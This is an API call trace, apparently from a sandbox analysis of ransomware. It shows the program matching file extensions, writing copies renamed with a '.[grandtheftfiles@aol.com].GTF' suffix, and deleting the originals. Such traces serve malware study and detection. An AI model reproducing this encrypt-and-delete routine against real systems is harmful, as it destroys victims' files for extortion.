	[0066.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.178] lstrlenW (lpString=".zip") returned 4
	[0066.178] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.178] lstrlenW (lpString=".rar") returned 4
	[0066.178] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.178] lstrlenW (lpString=".bz2") returned 4
	[0066.178] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.178] lstrlenW (lpString=".7z") returned 3
	[0066.178] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.178] lstrlenW (lpString=".dbf") returned 4
	[0066.178] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.178] lstrlenW (lpString=".1cd") returned 4
	[0066.178] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.178] lstrlenW (lpString=".jpg") returned 4
	[0066.178] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.178] lstrlenW (lpString=".doc") returned 4
	[0066.178] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.178] lstrlenW (lpString=".docx") returned 5
	[0066.178] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.178] lstrlenW (lpString=".pdf") returned 4
	[0066.178] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.178] lstrlenW (lpString=".xls") returned 4
	[0066.178] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.178] lstrlenW (lpString=".xlsx") returned 5
	[0066.178] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.179] lstrlenW (lpString=".ppt") returned 4
	[0066.179] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.179] lstrlenW (lpString=".zip") returned 4
	[0066.179] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.179] lstrlenW (lpString=".rar") returned 4
	[0066.179] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.179] lstrlenW (lpString=".bz2") returned 4
	[0066.179] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.179] lstrlenW (lpString=".7z") returned 3
	[0066.179] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.179] lstrlenW (lpString=".dbf") returned 4
	[0066.179] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.179] lstrlenW (lpString=".1cd") returned 4
	[0066.179] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.179] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.179] lstrlenW (lpString=".jpg") returned 4
	[0066.179] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.179] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0066.179] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0066.179] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.200] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=82962) returned 1
	[0066.200] CloseHandle (hObject=0x2f8) returned 1
	[0066.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80
	[0066.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.201] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.201] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.201] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.201] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0066.201] GetLastError () returned 0x0
	[0066.201] ReadFile (in: hFile=0x2f8, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x14412, lpOverlapped=0x0) returned 1
	[0066.209] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x14420, lpOverlapped=0x0) returned 1
	[0066.211] ReadFile (in: hFile=0x2f8, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.211] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0066.211] SetEndOfFile (hFile=0x2d0) returned 1
	[0066.211] CloseHandle (hObject=0x2d0) returned 1
	[0066.214] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.214] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.215] CloseHandle (hObject=0x2f8) returned 1
	[0066.215] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.215] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1
	[0066.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.216] lstrlenW (lpString=".doc") returned 4
	[0066.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.216] lstrlenW (lpString=".docx") returned 5
	[0066.216] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.216] lstrlenW (lpString=".pdf") returned 4
	[0066.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.216] lstrlenW (lpString=".xls") returned 4
	[0066.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.216] lstrlenW (lpString=".xlsx") returned 5
	[0066.216] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.216] lstrlenW (lpString=".ppt") returned 4
	[0066.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.216] lstrlenW (lpString=".zip") returned 4
	[0066.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.216] lstrlenW (lpString=".rar") returned 4
	[0066.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.216] lstrlenW (lpString=".bz2") returned 4
	[0066.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.216] lstrlenW (lpString=".7z") returned 3
	[0066.216] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.216] lstrlenW (lpString=".dbf") returned 4
	[0066.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.216] lstrlenW (lpString=".1cd") returned 4
	[0066.216] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.216] lstrlenW (lpString=".jpg") returned 4
	[0066.216] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.216] lstrlenW (lpString=".doc") returned 4
	[0066.217] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.217] lstrlenW (lpString=".docx") returned 5
	[0066.217] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.217] lstrlenW (lpString=".pdf") returned 4
	[0066.217] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.217] lstrlenW (lpString=".xls") returned 4
	[0066.217] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.217] lstrlenW (lpString=".xlsx") returned 5
	[0066.217] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.217] lstrlenW (lpString=".ppt") returned 4
	[0066.217] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.217] lstrlenW (lpString=".zip") returned 4
	[0066.217] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.217] lstrlenW (lpString=".rar") returned 4
	[0066.217] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.217] lstrlenW (lpString=".bz2") returned 4
	[0066.217] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.217] lstrlenW (lpString=".7z") returned 3
	[0066.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.217] lstrlenW (lpString=".dbf") returned 4
	[0066.217] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.217] lstrlenW (lpString=".1cd") returned 4
	[0066.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0066.217] lstrlenW (lpString=".jpg") returned 4
	[0066.217] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.217] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0066.217] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0066.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0066.360] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=72076) returned 1
	[0066.360] CloseHandle (hObject=0x2d0) returned 1
	[0066.360] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80
	[0066.360] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0066.360] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.360] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0067.511] GetLastError () returned 0x0
	[0067.511] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1198c, lpOverlapped=0x0) returned 1
	[0067.525] WriteFile (in: hFile=0x2f8, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x11990, lpOverlapped=0x0) returned 1
	[0067.527] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.527] WriteFile (in: hFile=0x2f8, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0067.527] SetEndOfFile (hFile=0x2f8) returned 1
	[0067.528] CloseHandle (hObject=0x2f8) returned 1
	[0067.530] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.530] SetEndOfFile (hFile=0x2d0) returned 1
	[0067.531] CloseHandle (hObject=0x2d0) returned 1
	[0067.531] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.532] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1
	[0067.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.532] lstrlenW (lpString=".doc") returned 4
	[0067.532] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.532] lstrlenW (lpString=".docx") returned 5
	[0067.532] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.532] lstrlenW (lpString=".pdf") returned 4
	[0067.532] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.532] lstrlenW (lpString=".xls") returned 4
	[0067.532] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.532] lstrlenW (lpString=".xlsx") returned 5
	[0067.532] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.532] lstrlenW (lpString=".ppt") returned 4
	[0067.532] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.532] lstrlenW (lpString=".zip") returned 4
	[0067.532] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.532] lstrlenW (lpString=".rar") returned 4
	[0067.532] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.532] lstrlenW (lpString=".bz2") returned 4
	[0067.532] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.532] lstrlenW (lpString=".7z") returned 3
	[0067.532] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.532] lstrlenW (lpString=".dbf") returned 4
	[0067.532] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.533] lstrlenW (lpString=".1cd") returned 4
	[0067.533] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.533] lstrlenW (lpString=".jpg") returned 4
	[0067.533] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.533] lstrlenW (lpString=".doc") returned 4
	[0067.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString=".docx") returned 5
	[0067.533] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.533] lstrlenW (lpString=".pdf") returned 4
	[0067.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString=".xls") returned 4
	[0067.533] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString=".xlsx") returned 5
	[0067.533] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.533] lstrlenW (lpString=".ppt") returned 4
	[0067.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.533] lstrlenW (lpString=".zip") returned 4
	[0067.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.537] lstrlenW (lpString=".rar") returned 4
	[0067.537] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.537] lstrlenW (lpString=".bz2") returned 4
	[0067.537] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.537] lstrlenW (lpString=".7z") returned 3
	[0067.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.537] lstrlenW (lpString=".dbf") returned 4
	[0067.538] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.538] lstrlenW (lpString=".1cd") returned 4
	[0067.538] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0067.538] lstrlenW (lpString=".jpg") returned 4
	[0067.538] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.538] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0067.538] lstrlenW (lpString="eula.rtf") returned 8
	[0067.538] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0067.538] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3859) returned 1
	[0067.538] CloseHandle (hObject=0x2d0) returned 1
	[0067.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80
	[0067.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0067.539] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.539] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.656] GetLastError () returned 0x0
	[0067.657] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xf13, lpOverlapped=0x0) returned 1
	[0067.776] WriteFile (in: hFile=0x314, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf20, lpOverlapped=0x0) returned 1
	[0067.777] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.777] WriteFile (in: hFile=0x314, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0067.777] SetEndOfFile (hFile=0x314) returned 1
	[0067.777] CloseHandle (hObject=0x314) returned 1
	[0067.779] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.779] SetEndOfFile (hFile=0x2d0) returned 1
	[0067.779] CloseHandle (hObject=0x2d0) returned 1
	[0067.779] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.780] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1
	[0067.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.780] lstrlenW (lpString=".doc") returned 4
	[0067.780] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0067.780] lstrlenW (lpString=".docx") returned 5
	[0067.780] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0067.780] lstrlenW (lpString=".pdf") returned 4
	[0067.780] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0067.780] lstrlenW (lpString=".xls") returned 4
	[0067.780] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0067.780] lstrlenW (lpString=".xlsx") returned 5
	[0067.780] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0067.780] lstrlenW (lpString=".ppt") returned 4
	[0067.780] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0067.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.780] lstrlenW (lpString=".zip") returned 4
	[0067.780] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0067.780] lstrlenW (lpString=".rar") returned 4
	[0067.780] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0067.780] lstrlenW (lpString=".bz2") returned 4
	[0067.780] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0067.780] lstrlenW (lpString=".7z") returned 3
	[0067.781] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0067.781] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.781] lstrlenW (lpString=".dbf") returned 4
	[0067.781] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0067.781] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.781] lstrlenW (lpString=".1cd") returned 4
	[0067.781] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0067.781] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.781] lstrlenW (lpString=".jpg") returned 4
	[0067.781] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0067.781] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.781] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0067.781] lstrlenW (lpString=".doc") returned 4
	[0067.781] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0067.781] lstrlenW (lpString=".docx") returned 5
	[0067.781] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0067.781] lstrlenW (lpString=".pdf") returned 4
	[0067.781] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0067.781] lstrlenW (lpString=".xls") returned 4
	[0067.781] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0067.781] lstrlenW (lpString=".xlsx") returned 5
	[0067.781] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0067.781] lstrlenW (lpString=".ppt") returned 4
